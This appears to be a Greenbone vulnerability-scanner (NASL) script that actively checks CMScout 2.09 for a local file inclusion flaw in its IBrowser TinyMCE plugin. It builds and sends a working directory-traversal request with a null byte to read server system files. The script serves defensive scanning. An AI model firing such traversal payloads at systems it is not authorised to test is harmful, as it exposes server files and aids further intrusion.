CMScout IBrowser TinyMCE Plugin LFI Vulnerability - Active Check

# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:cmscout:cmscout";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100807");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2010-09-16 16:08:48 +0200 (Thu, 16 Sep 2010)");
  script_tag(name:"cvss_base", value:"6.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:P/A:P");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("CMScout IBrowser TinyMCE Plugin LFI Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2010 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_cmscout_detect.nasl", "os_detection.nasl");
  script_mandatory_keys("cmscout/http/detected");
  script_require_ports("Services/www", 80);

  script_tag(name:"summary", value:"CMScout is prone to a local file include (LFI) vulnerability
  because it fails to properly sanitize user-supplied input.");

  script_tag(name:"impact", value:"An attacker can exploit this vulnerability using directory
  traversal strings to view files and execute local scripts in the context of the webserver process.
  This may aid in further attacks.");

  script_tag(name:"affected", value:"CMScout 2.09 is vulnerable. Other versions may also be
  affected.");

  script_tag(name:"vuldetect", value:"Sends a HTTP GET request and checks the response.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
  options are to upgrade to a newer release, disable respective features, remove the product or
  replace the product by another one.");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/43260");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
include("traversal_func.inc");
include("os_func.inc");

if (!port = get_app_port(cpe: CPE, service: "www"))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if( dir == "/" )
  dir = "";

files = traversal_files();

foreach file( keys( files ) ) {
  url = dir + "/tiny_mce/plugins/ibrowser/ibrowser.php?lang=../../../../../../../../../../../../../" + files[file] + "%00";

  if( http_vuln_check( port:port, url:url, pattern:file ) ) {
    report = http_report_vuln_url( port:port, url:url );
    security_message( port:port, data:report );
    exit( 0 );
  }
}

exit( 99 );